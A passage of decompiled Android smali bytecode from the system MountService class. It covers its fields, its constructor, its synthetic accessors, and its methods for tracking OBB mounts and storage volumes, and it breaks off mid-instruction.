.annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/ArrayList", "<", "Landroid/os/storage/StorageVolume;", ">;" } .end annotation .end field .field private final mVolumesByPath:Ljava/util/HashMap; .annotation build Lcom/android/internal/annotations/GuardedBy; value = "mVolumesLock" .end annotation .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/HashMap", "<", "Ljava/lang/String;", "Landroid/os/storage/StorageVolume;", ">;" } .end annotation .end field .field private final mVolumesLock:Ljava/lang/Object; # direct methods .method static constructor <clinit>()V .locals 3 .prologue .line 123 const/4 v0, 0x0 sput-object v0, Lcom/android/server/MountService;->sSelf:Lcom/android/server/MountService; .line 208 const/4 v0, 0x4 new-array v0, v0, [Ljava/lang/String; const/4 v1, 0x0 const-string v2, "password" aput-object v2, v0, v1 const/4 v1, 0x1 const-string v2, "default" aput-object v2, v0, v1 const/4 v1, 0x2 const-string v2, "pattern" aput-object v2, v0, v1 const/4 v1, 0x3 const-string v2, "pin" aput-object v2, v0, v1 sput-object v0, Lcom/android/server/MountService;->CRYPTO_TYPES:[Ljava/lang/String; .line 343 new-instance v0, Landroid/content/ComponentName; const-string v1, "com.android.defcontainer" const-string v2, "com.android.defcontainer.DefaultContainerService" invoke-direct {v0, v1, v2}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V sput-object v0, Lcom/android/server/MountService;->DEFAULT_CONTAINER_COMPONENT:Landroid/content/ComponentName; return-void .end method .method public constructor <init>(Landroid/content/Context;)V .locals 13 .param p1, "context" # Landroid/content/Context; .prologue const/4 v3, 0x1 const/4 v1, 0x0 const/4 v6, 0x0 .line 1536 invoke-direct {p0}, Landroid/os/storage/IMountService$Stub;-><init>()V .line 214 new-instance v0, Ljava/lang/Object; invoke-direct {v0}, Ljava/lang/Object;-><init>()V iput-object v0, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; .line 221 invoke-static {}, Lcom/google/android/collect/Lists;->newArrayList()Ljava/util/ArrayList; move-result-object v0 iput-object v0, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; .line 224 invoke-static {}, Lcom/google/android/collect/Maps;->newHashMap()Ljava/util/HashMap; move-result-object v0 iput-object v0, p0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; .line 227 invoke-static {}, Lcom/google/android/collect/Maps;->newHashMap()Ljava/util/HashMap; move-result-object v0 iput-object v0, p0, Lcom/android/server/MountService;->mVolumeStates:Ljava/util/HashMap; .line 230 iput-boolean v1, p0, Lcom/android/server/MountService;->mSystemReady:Z .line 234 iput-boolean v1, p0, Lcom/android/server/MountService;->mUmsAvailable:Z .line 236 new-instance v0, Ljava/util/ArrayList; invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V iput-object v0, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; .line 238 new-instance v0, Ljava/util/concurrent/CountDownLatch; invoke-direct {v0, v3}, Ljava/util/concurrent/CountDownLatch;-><init>(I)V iput-object v0, p0, Lcom/android/server/MountService;->mConnectedSignal:Ljava/util/concurrent/CountDownLatch; .line 239 new-instance v0, Ljava/util/concurrent/CountDownLatch; invoke-direct {v0, v3}, Ljava/util/concurrent/CountDownLatch;-><init>(I)V iput-object v0, p0, Lcom/android/server/MountService;->mAsecsScanned:Ljava/util/concurrent/CountDownLatch; .line 240 iput-boolean v1, p0, Lcom/android/server/MountService;->mSendUmsConnectedOnBoot:Z .line 246 new-instance v0, Ljava/util/HashSet; invoke-direct {v0}, Ljava/util/HashSet;-><init>()V iput-object v0, p0, Lcom/android/server/MountService;->mAsecMountSet:Ljava/util/HashSet; .line 264 new-instance v0, Ljava/util/HashMap; invoke-direct {v0}, Ljava/util/HashMap;-><init>()V iput-object v0, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; .line 267 new-instance v0, Ljava/util/HashMap; invoke-direct {v0}, Ljava/util/HashMap;-><init>()V iput-object v0, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; .line 346 new-instance v0, Lcom/android/server/MountService$DefaultContainerConnection; invoke-direct {v0, p0}, Lcom/android/server/MountService$DefaultContainerConnection;-><init>(Lcom/android/server/MountService;)V iput-object v0, p0, Lcom/android/server/MountService;->mDefContainerConn:Lcom/android/server/MountService$DefaultContainerConnection; .line 363 iput-object v6, p0, Lcom/android/server/MountService;->mContainerService:Lcom/android/internal/app/IMediaContainerService; .line 661 new-instance v0, Lcom/android/server/MountService$1; invoke-direct {v0, p0}, Lcom/android/server/MountService$1;-><init>(Lcom/android/server/MountService;)V iput-object v0, p0, Lcom/android/server/MountService;->mUserReceiver:Landroid/content/BroadcastReceiver; .line 690 new-instance v0, Lcom/android/server/MountService$2; invoke-direct {v0, p0}, Lcom/android/server/MountService$2;-><init>(Lcom/android/server/MountService;)V iput-object v0, p0, Lcom/android/server/MountService;->mUsbReceiver:Landroid/content/BroadcastReceiver; .line 1537 sput-object p0, Lcom/android/server/MountService;->sSelf:Lcom/android/server/MountService; .line 1539 iput-object p1, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; .line 1541 iget-object v1, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; monitor-enter v1 .line 1542 :try_start_0 invoke-direct {p0}, Lcom/android/server/MountService;->readStorageListLocked()V .line 1543 monitor-exit v1 :try_end_0 .catchall {:try_start_0 .. :try_end_0} :catchall_0 .line 1546 const-string v0, "package" invoke-static {v0}, Landroid/os/ServiceManager;->getService(Ljava/lang/String;)Landroid/os/IBinder; move-result-object v0 check-cast v0, Lcom/android/server/pm/PackageManagerService; iput-object v0, p0, Lcom/android/server/MountService;->mPms:Lcom/android/server/pm/PackageManagerService; .line 1548 new-instance v9, Landroid/os/HandlerThread; const-string v0, "MountService" invoke-direct {v9, v0}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V .line 1549 .local v9, "hthread":Landroid/os/HandlerThread; invoke-virtual {v9}, Landroid/os/HandlerThread;->start()V .line 1550 new-instance v0, Lcom/android/server/MountService$MountServiceHandler; invoke-virtual {v9}, Landroid/os/HandlerThread;->getLooper()Landroid/os/Looper; move-result-object v1 invoke-direct {v0, p0, v1}, Lcom/android/server/MountService$MountServiceHandler;-><init>(Lcom/android/server/MountService;Landroid/os/Looper;)V iput-object v0, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; .line 1553 new-instance v12, Landroid/content/IntentFilter; invoke-direct {v12}, Landroid/content/IntentFilter;-><init>()V .line 1554 .local v12, "userFilter":Landroid/content/IntentFilter; const-string v0, "android.intent.action.USER_ADDED" invoke-virtual {v12, v0}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V .line 1555 const-string v0, "android.intent.action.USER_REMOVED" invoke-virtual {v12, v0}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V .line 1556 iget-object v0, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; iget-object v1, p0, Lcom/android/server/MountService;->mUserReceiver:Landroid/content/BroadcastReceiver; iget-object v2, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; invoke-virtual {v0, v1, v12, v6, v2}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;Ljava/lang/String;Landroid/os/Handler;)Landroid/content/Intent; .line 1558 invoke-direct {p0}, Lcom/android/server/MountService;->hasUmsVolume()Z move-result v0 if-nez v0, :cond_0 const-string v0, "persist.sys.ums" invoke-static {v0, v3}, Landroid/os/SystemProperties;->getBoolean(Ljava/lang/String;Z)Z move-result v0 if-eqz v0, :cond_1 .line 1559 :cond_0 iget-object v0, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; iget-object v1, p0, Lcom/android/server/MountService;->mUsbReceiver:Landroid/content/BroadcastReceiver; new-instance v2, Landroid/content/IntentFilter; const-string v3, "android.hardware.usb.action.USB_STATE" invoke-direct {v2, v3}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V iget-object v3, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; invoke-virtual {v0, v1, v2, v6, v3}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;Ljava/lang/String;Landroid/os/Handler;)Landroid/content/Intent; .line 1564 :cond_1 new-instance v0, Lcom/android/server/MountService$ObbActionHandler; invoke-static {}, Lcom/android/server/IoThread;->get()Lcom/android/server/IoThread; move-result-object v1 invoke-virtual {v1}, Lcom/android/server/IoThread;->getLooper()Landroid/os/Looper; move-result-object v1 invoke-direct {v0, p0, v1}, Lcom/android/server/MountService$ObbActionHandler;-><init>(Lcom/android/server/MountService;Landroid/os/Looper;)V iput-object v0, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; .line 1567 invoke-static {}, Landroid/os/Environment;->getDataDirectory()Ljava/io/File; move-result-object v7 .line 1568 .local v7, "dataDir":Ljava/io/File; new-instance v10, Ljava/io/File; const-string v0, "system" invoke-direct {v10, v7, v0}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V .line 1569 .local v10, "systemDir":Ljava/io/File; new-instance v0, Ljava/io/File; const-string v1, "last-fstrim" invoke-direct {v0, v10, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V iput-object v0, p0, Lcom/android/server/MountService;->mLastMaintenanceFile:Ljava/io/File; .line 1570 iget-object v0, p0, Lcom/android/server/MountService;->mLastMaintenanceFile:Ljava/io/File; invoke-virtual {v0}, Ljava/io/File;->exists()Z move-result v0 if-nez v0, :cond_2 .line 1574 :try_start_1 new-instance v0, Ljava/io/FileOutputStream; iget-object v1, p0, Lcom/android/server/MountService;->mLastMaintenanceFile:Ljava/io/File; invoke-direct {v0, v1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V invoke-virtual {v0}, Ljava/io/FileOutputStream;->close()V :try_end_1 .catch Ljava/io/IOException; {:try_start_1 .. :try_end_1} :catch_0 .line 1587 :goto_0 new-instance v0, Lcom/android/server/NativeDaemonConnector; const-string v2, "vold" const/16 v3, 0x1f4 const-string v4, "VoldConnector" const/16 v5, 0x19 move-object v1, p0 invoke-direct/range {v0 .. v6}, Lcom/android/server/NativeDaemonConnector;-><init>(Lcom/android/server/INativeDaemonConnectorCallbacks;Ljava/lang/String;ILjava/lang/String;ILandroid/os/PowerManager$WakeLock;)V iput-object v0, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; .line 1590 new-instance v11, Ljava/lang/Thread; iget-object v0, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; const-string v1, "VoldConnector" invoke-direct {v11, v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V .line 1591 .local v11, "thread":Ljava/lang/Thread; invoke-virtual {v11}, Ljava/lang/Thread;->start()V .line 1597 return-void .line 1543 .end local v7 # "dataDir":Ljava/io/File; .end local v9 # "hthread":Landroid/os/HandlerThread; .end local v10 # "systemDir":Ljava/io/File; .end local v11 # "thread":Ljava/lang/Thread; .end local v12 # "userFilter":Landroid/content/IntentFilter; :catchall_0 move-exception v0 :try_start_2 monitor-exit v1 :try_end_2 .catchall {:try_start_2 .. :try_end_2} :catchall_0 throw v0 .line 1575 .restart local v7 # "dataDir":Ljava/io/File; .restart local v9 # "hthread":Landroid/os/HandlerThread; .restart local v10 # "systemDir":Ljava/io/File; .restart local v12 # "userFilter":Landroid/content/IntentFilter; :catch_0 move-exception v8 .line 1576 .local v8, "e":Ljava/io/IOException; const-string v0, "MountService" new-instance v1, Ljava/lang/StringBuilder; invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V const-string v2, "Unable to create fstrim record " invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 iget-object v2, p0, Lcom/android/server/MountService;->mLastMaintenanceFile:Ljava/io/File; invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String; move-result-object v2 invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v1 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v1 invoke-static {v0, v1}, Landroid/util/Slog;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .line 1579 .end local v8 # "e":Ljava/io/IOException; :cond_2 iget-object v0, p0, Lcom/android/server/MountService;->mLastMaintenanceFile:Ljava/io/File; invoke-virtual {v0}, Ljava/io/File;->lastModified()J move-result-wide v0 iput-wide v0, p0, Lcom/android/server/MountService;->mLastMaintenance:J goto :goto_0 .end method .method static synthetic access$000(Lcom/android/server/MountService;)Lcom/android/server/MountService$ObbActionHandler; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; return-object v0 .end method .method static synthetic access$100(Lcom/android/server/MountService;Ljava/lang/String;ZZ)I .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Ljava/lang/String; .param p2, "x2" # Z .param p3, "x3" # Z .prologue .line 119 invoke-direct {p0, p1, p2, p3}, Lcom/android/server/MountService;->doUnmountVolume(Ljava/lang/String;ZZ)I move-result v0 return v0 .end method .method static synthetic access$1000(Lcom/android/server/MountService;)Ljava/lang/Object; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mVolumesLock:Ljava/lang/Object; return-object v0 .end method .method static synthetic access$1100(Lcom/android/server/MountService;Landroid/os/UserHandle;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Landroid/os/UserHandle; .prologue .line 119 invoke-direct {p0, p1}, Lcom/android/server/MountService;->createEmulatedVolumeForUserLocked(Landroid/os/UserHandle;)V return-void .end method .method static synthetic access$1200(Lcom/android/server/MountService;)Ljava/util/ArrayList; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; return-object v0 .end method .method static synthetic access$1300(Lcom/android/server/MountService;Landroid/os/storage/StorageVolume;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Landroid/os/storage/StorageVolume; .prologue .line 119 invoke-direct {p0, p1}, Lcom/android/server/MountService;->removeVolumeLocked(Landroid/os/storage/StorageVolume;)V return-void .end method .method static synthetic access$1400(Lcom/android/server/MountService;Z)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Z .prologue .line 119 invoke-direct {p0, p1}, Lcom/android/server/MountService;->notifyShareAvailabilityChange(Z)V return-void .end method .method static synthetic access$1500(Lcom/android/server/MountService;)Ljava/util/ArrayList; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mListeners:Ljava/util/ArrayList; return-object v0 .end method .method static synthetic access$1600(Lcom/android/server/MountService;)Ljava/util/HashMap; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; return-object v0 .end method .method static synthetic access$1700(Lcom/android/server/MountService;Landroid/os/storage/StorageVolume;Ljava/lang/String;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Landroid/os/storage/StorageVolume; .param p2, "x2" # Ljava/lang/String; .prologue .line 119 invoke-direct {p0, p1, p2}, Lcom/android/server/MountService;->updatePublicVolumeState(Landroid/os/storage/StorageVolume;Ljava/lang/String;)V return-void .end method .method static synthetic access$1800(Lcom/android/server/MountService;)Landroid/os/storage/StorageVolume; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 invoke-direct {p0}, Lcom/android/server/MountService;->getPrimaryPhysicalVolume()Landroid/os/storage/StorageVolume; move-result-object v0 return-object v0 .end method .method static synthetic access$1900(Lcom/android/server/MountService;)Ljava/util/concurrent/CountDownLatch; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mConnectedSignal:Ljava/util/concurrent/CountDownLatch; return-object v0 .end method .method static synthetic access$200(Lcom/android/server/MountService;Ljava/lang/String;Ljava/lang/String;Z)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Ljava/lang/String; .param p2, "x2" # Ljava/lang/String; .param p3, "x3" # Z .prologue .line 119 invoke-direct {p0, p1, p2, p3}, Lcom/android/server/MountService;->doShareUnshareVolume(Ljava/lang/String;Ljava/lang/String;Z)V return-void .end method .method static synthetic access$2000(Lcom/android/server/MountService;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 invoke-direct {p0}, Lcom/android/server/MountService;->copyLocaleFromMountService()V return-void .end method .method static synthetic access$2100(Lcom/android/server/MountService;)Ljava/util/concurrent/CountDownLatch; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mAsecsScanned:Ljava/util/concurrent/CountDownLatch; return-object v0 .end method .method static synthetic access$2200(Lcom/android/server/MountService;Ljava/lang/String;)I .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Ljava/lang/String; .prologue .line 119 invoke-direct {p0, p1}, Lcom/android/server/MountService;->doMountVolume(Ljava/lang/String;)I move-result v0 return v0 .end method .method static synthetic access$2300(Lcom/android/server/MountService;)Lcom/android/internal/app/IMediaContainerService; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mContainerService:Lcom/android/internal/app/IMediaContainerService; return-object v0 .end method .method static synthetic access$2302(Lcom/android/server/MountService;Lcom/android/internal/app/IMediaContainerService;)Lcom/android/internal/app/IMediaContainerService; .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Lcom/android/internal/app/IMediaContainerService; .prologue .line 119 iput-object p1, p0, Lcom/android/server/MountService;->mContainerService:Lcom/android/internal/app/IMediaContainerService; return-object p1 .end method .method static synthetic access$2400(Lcom/android/server/MountService;)Ljava/util/Map; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; return-object v0 .end method .method static synthetic access$2500(Lcom/android/server/MountService;)Ljava/util/Map; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; return-object v0 .end method .method static synthetic access$2600(Lcom/android/server/MountService;Lcom/android/server/MountService$ObbState;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Lcom/android/server/MountService$ObbState; .prologue .line 119 invoke-direct {p0, p1}, Lcom/android/server/MountService;->removeObbStateLocked(Lcom/android/server/MountService$ObbState;)V return-void .end method .method static synthetic access$2700(Lcom/android/server/MountService;)Lcom/android/server/MountService$DefaultContainerConnection; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mDefContainerConn:Lcom/android/server/MountService$DefaultContainerConnection; return-object v0 .end method .method static synthetic access$2800(Lcom/android/server/MountService;)Landroid/content/Context; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mContext:Landroid/content/Context; return-object v0 .end method .method static synthetic access$2900(Lcom/android/server/MountService;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 invoke-direct {p0}, Lcom/android/server/MountService;->warnOnNotMounted()V return-void .end method .method static synthetic access$300(Lcom/android/server/MountService;)Lcom/android/server/pm/PackageManagerService; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mPms:Lcom/android/server/pm/PackageManagerService; return-object v0 .end method .method static synthetic access$3000(Lcom/android/server/MountService;Ljava/lang/String;I)Z .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Ljava/lang/String; .param p2, "x2" # I .prologue .line 119 invoke-direct {p0, p1, p2}, Lcom/android/server/MountService;->isUidOwnerOfPackageOrSystem(Ljava/lang/String;I)Z move-result v0 return v0 .end method .method static synthetic access$3100(Lcom/android/server/MountService;Lcom/android/server/MountService$ObbState;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # Lcom/android/server/MountService$ObbState; .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 119 invoke-direct {p0, p1}, Lcom/android/server/MountService;->addObbStateLocked(Lcom/android/server/MountService$ObbState;)V return-void .end method .method static synthetic access$400(Lcom/android/server/MountService;)Landroid/os/Handler; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mHandler:Landroid/os/Handler; return-object v0 .end method .method static synthetic access$500(Lcom/android/server/MountService;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 invoke-direct {p0}, Lcom/android/server/MountService;->handleSystemReady()V return-void .end method .method static synthetic access$600(Lcom/android/server/MountService;)V .locals 0 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 invoke-direct {p0}, Lcom/android/server/MountService;->waitForReady()V return-void .end method .method static synthetic access$700(Lcom/android/server/MountService;)J .locals 2 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-wide v0, p0, Lcom/android/server/MountService;->mLastMaintenance:J return-wide v0 .end method .method static synthetic access$702(Lcom/android/server/MountService;J)J .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .param p1, "x1" # J .prologue .line 119 iput-wide p1, p0, Lcom/android/server/MountService;->mLastMaintenance:J return-wide p1 .end method .method static synthetic access$800(Lcom/android/server/MountService;)Ljava/io/File; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mLastMaintenanceFile:Ljava/io/File; return-object v0 .end method .method static synthetic access$900(Lcom/android/server/MountService;)Lcom/android/server/NativeDaemonConnector; .locals 1 .param p0, "x0" # Lcom/android/server/MountService; .prologue .line 119 iget-object v0, p0, Lcom/android/server/MountService;->mConnector:Lcom/android/server/NativeDaemonConnector; return-object v0 .end method .method private addObbStateLocked(Lcom/android/server/MountService$ObbState;)V .locals 7 .param p1, "obbState" # Lcom/android/server/MountService$ObbState; .annotation system Ldalvik/annotation/Throws; value = { Landroid/os/RemoteException; } .end annotation .prologue .line 2632 invoke-virtual {p1}, Lcom/android/server/MountService$ObbState;->getBinder()Landroid/os/IBinder; move-result-object v0 .line 2633 .local v0, "binder":Landroid/os/IBinder; iget-object v5, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; invoke-interface {v5, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object; move-result-object v4 check-cast v4, Ljava/util/List; .line 2635 .local v4, "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" if-nez v4, :cond_1 .line 2636 new-instance v4, Ljava/util/ArrayList; .end local v4 # "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V .line 2637 .restart local v4 # "obbStates":Ljava/util/List;, "Ljava/util/List<Lcom/android/server/MountService$ObbState;>;" iget-object v5, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; invoke-interface {v5, v0, v4}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2647 :cond_0 invoke-interface {v4, p1}, Ljava/util/List;->add(Ljava/lang/Object;)Z .line 2649 :try_start_0 invoke-virtual {p1}, Lcom/android/server/MountService$ObbState;->link()V :try_end_0 .catch Landroid/os/RemoteException; {:try_start_0 .. :try_end_0} :catch_0 .line 2664 iget-object v5, p0, Lcom/android/server/MountService;->mObbPathToStateMap:Ljava/util/Map; iget-object v6, p1, Lcom/android/server/MountService$ObbState;->rawPath:Ljava/lang/String; invoke-interface {v5, v6, p1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; .line 2665 return-void .line 2639 :cond_1 invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator; move-result-object v2 .local v2, "i$":Ljava/util/Iterator; :cond_2 invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z move-result v5 if-eqz v5, :cond_0 invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object; move-result-object v3 check-cast v3, Lcom/android/server/MountService$ObbState; .line 2640 .local v3, "o":Lcom/android/server/MountService$ObbState; iget-object v5, v3, Lcom/android/server/MountService$ObbState;->rawPath:Ljava/lang/String; iget-object v6, p1, Lcom/android/server/MountService$ObbState;->rawPath:Ljava/lang/String; invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z move-result v5 if-eqz v5, :cond_2 .line 2641 new-instance v5, Ljava/lang/IllegalStateException; const-string v6, "Attempt to add ObbState twice. This indicates an error in the MountService logic." invoke-direct {v5, v6}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v5 .line 2650 .end local v2 # "i$":Ljava/util/Iterator; .end local v3 # "o":Lcom/android/server/MountService$ObbState; :catch_0 move-exception v1 .line 2655 .local v1, "e":Landroid/os/RemoteException; invoke-interface {v4, p1}, Ljava/util/List;->remove(Ljava/lang/Object;)Z .line 2656 invoke-interface {v4}, Ljava/util/List;->isEmpty()Z move-result v5 if-eqz v5, :cond_3 .line 2657 iget-object v5, p0, Lcom/android/server/MountService;->mObbMounts:Ljava/util/Map; invoke-interface {v5, v0}, Ljava/util/Map;->remove(Ljava/lang/Object;)Ljava/lang/Object; .line 2661 :cond_3 throw v1 .end method .method private addVolumeLocked(Landroid/os/storage/StorageVolume;)V .locals 4 .param p1, "volume" # Landroid/os/storage/StorageVolume; .prologue .line 1494 const-string v1, "MountService" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "addVolumeLocked() " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-static {v1, v2}, Landroid/util/Slog;->d(Ljava/lang/String;Ljava/lang/String;)I .line 1495 iget-object v1, p0, Lcom/android/server/MountService;->mVolumes:Ljava/util/ArrayList; invoke-virtual {v1, p1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z .line 1496 iget-object v1, p0, Lcom/android/server/MountService;->mVolumesByPath:Ljava/util/HashMap; invoke-virtual {p1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v2 invoke-virtual {v1, v2, p1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object; move-result-object v0 check-cast v0, Landroid/os/storage/StorageVolume; .line 1497 .local v0, "existing":Landroid/os/storage/StorageVolume; if-eqz v0, :cond_0 .line 1498 new-instance v1, Ljava/lang/IllegalStateException; new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "Volume at " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {p1}, Landroid/os/storage/StorageVolume;->getPath()Ljava/lang/String; move-result-object v3 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 const-string v3, " already exists: " invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-direct {v1, v2}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V throw v1 .line 1501 :cond_0 return-void .end method .method public static buildObbPath(Ljava/lang/String;IZ)Ljava/lang/String; .locals 9 .param p0, "canonicalPath" # Ljava/lang/String; .param p1, "userId" # I .param p2, "forVold" # Z .prologue const/4 v8, 0x0 .line 3094 invoke-static {}, Landroid/os/Environment;->isExternalStorageEmulated()Z move-result v6 if-nez v6, :cond_1 .line 3136 .end local p0 # "canonicalPath":Ljava/lang/String; :cond_0 :goto_0 return-object p0 .line 3098 .restart local p0 # "canonicalPath":Ljava/lang/String; :cond_1 invoke-virtual {p0}, Ljava/lang/String;->toString()Ljava/lang/String; move-result-object v4 .line 3101 .local v4, "path":Ljava/lang/String; new-instance v5, Landroid/os/Environment$UserEnvironment; invoke-direct {v5, p1}, Landroid/os/Environment$UserEnvironment;-><init>(I)V .line 3104 .local v5, "userEnv":Landroid/os/Environment$UserEnvironment; invoke-virtual {v5}, Landroid/os/Environment$UserEnvironment;->getExternalStorageDirectory()Ljava/io/File; move-result-object v6 invoke-virtual {v6}, 